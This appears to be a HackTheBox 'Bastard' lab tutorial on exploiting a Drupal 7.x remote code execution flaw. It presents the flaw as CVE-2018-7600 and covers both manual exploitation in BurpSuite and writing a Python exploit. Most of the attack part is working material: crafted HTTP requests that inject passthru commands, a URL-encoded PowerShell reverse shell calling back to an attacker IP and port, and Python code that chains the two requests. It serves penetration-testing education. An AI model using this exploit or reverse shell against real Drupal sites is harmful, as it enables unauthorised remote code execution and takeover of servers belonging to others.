Original exploit: https://www.exploit-db.com/exploits/41564
Exploit name: Drupal 7.x Module Services - Remote Code Execution
CVE: 2018-7600
Lab: Bastard - HackTheBox
There is a vulnerability in Drupal 7.x that allows us to create a malformed request that contains a system command and send it over to the target website. Later when we get a response, we also get a type of form id which we can later use to execute system commands.
Finally, this is going to be the first time where I am going to show how to exploit a vulnerability manually using BurpSuite so you can get an idea of how things really work.
Here is the login panel of Drupal:
To get started, simply insert a wrong username and password and send the request, capture the request using BurpSuite and you should see something like this:
POST /node?destination=node HTTP/1.1
Host: 10.129.170.251
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://10.129.170.251
Connection: close
Referer: http://10.129.170.251/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1
name=tester&pass=tester&form_build_id=form-0AxqNRlYdm206tq5uWde_4aoDyHHT82rH34KNOw-h_A&form_id=user_login_block&op=Log+in
This is just like a template for us so we can make changes, we need to make changes to URI
path and POST
data.
The exploit uses passthru
which is a PHP function to execute system commands, you can use system
or shell_exec
if you want to.
There are two important URI
parameters here:
- name[#post_render][]
- it's value is going to be
passthru
- it's value is going to be
- name[#markup]
- it's value is going to be the command you want to execute
And this is the POST
data:
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
This is how it looks like when we render it on BurpSuite:
Since I am not the author of this exploit, I don't really know how it was found but just by looking at the exploit code, I managed to do everything using BurpSuite. Now you understand that password reset functionality is being exploited here.
When we send this request, we get a form_build_id
in response and then we use that form ID with another specially crafted URI
with parameters & POST
request to finally execute our command.
Think about this, you need to craft one POST
request along with the command that you want to execute and then you need to make another POST
request to execute that command and see it's results.
Switch back to pretty or raw mode in BurpSuite and search for form_build_id
, it should look something like this:
<input type="hidden" name="form_build_id" value="form-VDhJ2ThQiWT4jPxeYlTTto-8TmezqxceddLywNeSLX8" />
Now the fun begins, we use this form id's value to execute our command, your new POST
request should look like this:
POST /?q=file/ajax/name/#value/form-HCb7o8npwGVshII8fvokJUX22tsHm9xBIUcLXR9ZQWI HTTP/1.1
Host: 10.129.170.251
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://10.129.170.251
Connection: close
Referer: http://10.129.170.251/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1
form_build_id=form-HCb7o8npwGVshII8fvokJUX22tsHm9xBIUcLXR9ZQWI
I changed the URI
path to /?q=file/ajax/name/#value/form-HCb7o8npwGVshII8fvokJUX22tsHm9xBIUcLXR9ZQWI
, notice that I have added the form_build_id
there.
Then I added form_build_id
as POST
data in my request body.
The response is as follows:
HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Type: application/json; charset=utf-8
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.3.28
X-Content-Type-Options: nosniff
X-Drupal-Ajax-Token: 1
Set-Cookie: SESScee6fe9f609de4a8079e558b9edfe8b9=pvfNFPKU-mk3m6GoIT3Tk8QweAEUPMo1ehYMBM5vOPg; expires=Mon, 21-Feb-2022 04:51:14 GMT; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Sat, 29 Jan 2022 01:17:54 GMT
Connection: close
Content-Length: 406
nt authority\iusr
[{"command":"settings","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"WKDAE8hBknoHp1VpkPThGGk7NpV6nkILLGeb_Fl9LY0"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"WKDAE8hBknoHp1VpkPThGGk7NpV6nkILLGeb_Fl9LY0"}}}]
Our command was executed and it's result is: nt authority\iusr
In order to get a reverse shell, I am going to use a powershell reverse shell code:
POST /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=powershell+-nop+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient('10.10.16.19',+1338)%3b$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0){%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()" HTTP/1.1
Host: 10.129.170.251
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
Origin: http://10.129.170.251
Connection: close
Referer: http://10.129.170.251/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
Send the request, get form_build_id
in response and do what you did before to execute the command.
That was really cool wasn't it?
But it was kind of too much work, we should automate something like that right? That's what an exploit developer does.
In this exploit we use BeautifulSoup
to grab form_build_id
, to be honest I have seen this being used by another exploit developer and I liked their idea, I mean it can be done with regex as well but when we grab form_build_id
with BeautifulSoup, it is far more readable and convenient to use.
We are also going to disable security warnings of requests
module using the following code:
requests.packages.urllib3.disable_warnings()
Our command looks like this:
command = '''powershell -nop -c "$client = '''
command += '''New-Object System.Net.Sockets.TCPClient('%s', %s);''' % (lhost, lport)
command += '''$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'''
You might ask, why did I split the command into three different lines and then concatenated them...
The reason for doing so was to make it easy to interpolate lhost
& lport
with string formatting, take a closer look here:
command += '''New-Object System.Net.Sockets.TCPClient('%s', %s);''' % (lhost, lport)
I am using string formatting to insert lhost
& lport
into the powershell command, you can try other types of concatenation but so far this method has worked for me.
You are already familiar with the parameters that we are going to send:
params = {'q':'user/password', 'name[#post_render][]': 'passthru', 'name[#type]': 'markup', 'name[#markup]': command}
data = {'form_id': 'user_pass', '_triggering_element_name': 'name',
'_triggering_element_value': '', 'opz': 'E-mail new Password'}
The variable params
sends URI
parameters and data
sends POST
data; here is how it is going to be sent:
req = requests.post(url=rhost, params=params, data=data, verify=False)
Here comes BeautifulSoup into the code, we use it to parse data as HTML, as an exercise you can try to do this with regex but it's highly advised not to do so:
html = BeautifulSoup(req.text, "html.parser")
form_id = html.find('input', {'name': 'form_build_id'}).get('value')
Take a galance here:
<input type="hidden" name="form_build_id" value="form-VDhJ2ThQiWT4jPxeYlTTto-8TmezqxceddLywNeSLX8" />
BeautifulSoup takes text response, parses it as HTML, then we use html.find
to find an input
with it's name
attribute set to form_build_id
and once found we grab it's value.
Finally there is an if-else condition to see if we found form_build_id
:
if form_id:
try:
params = {'q': f'file/ajax/name/#value/{form_id}'}
data = {'form_build_id': form_id}
print("[...] Executing payload, check your listener.")
req = requests.post(url=rhost, params=params, data=data, verify=False, timeout=20)
except Exception as e:
sys.exit(f"[ ! ] Exception occured: {e}")
else:
sys.exit("[ - ] Couldn't find form_build_id's value, exiting")
If a form_build_id
was found then the following parameters and data would be sent:
params = {'q': f'file/ajax/name/#value/{form_id}'}
data = {'form_build_id': form_id}
Remember that you might get a shell and a timeout error at the same time and that's not an issue. The rest of the code is self explanatory and shouldn't be hard for any python programmer to understand.
In this exploit development session, you didn't just learn how to code but you also learned how things are done manually, this helps you a lot to build your own exploits or read someone else's exploit and understand how it can be done manually.
You can replace BeautifulSoup with regex but it's not very advisable to do so, although there is only one form_build_id
but professionally, it would be better if we use BeautifulSoup.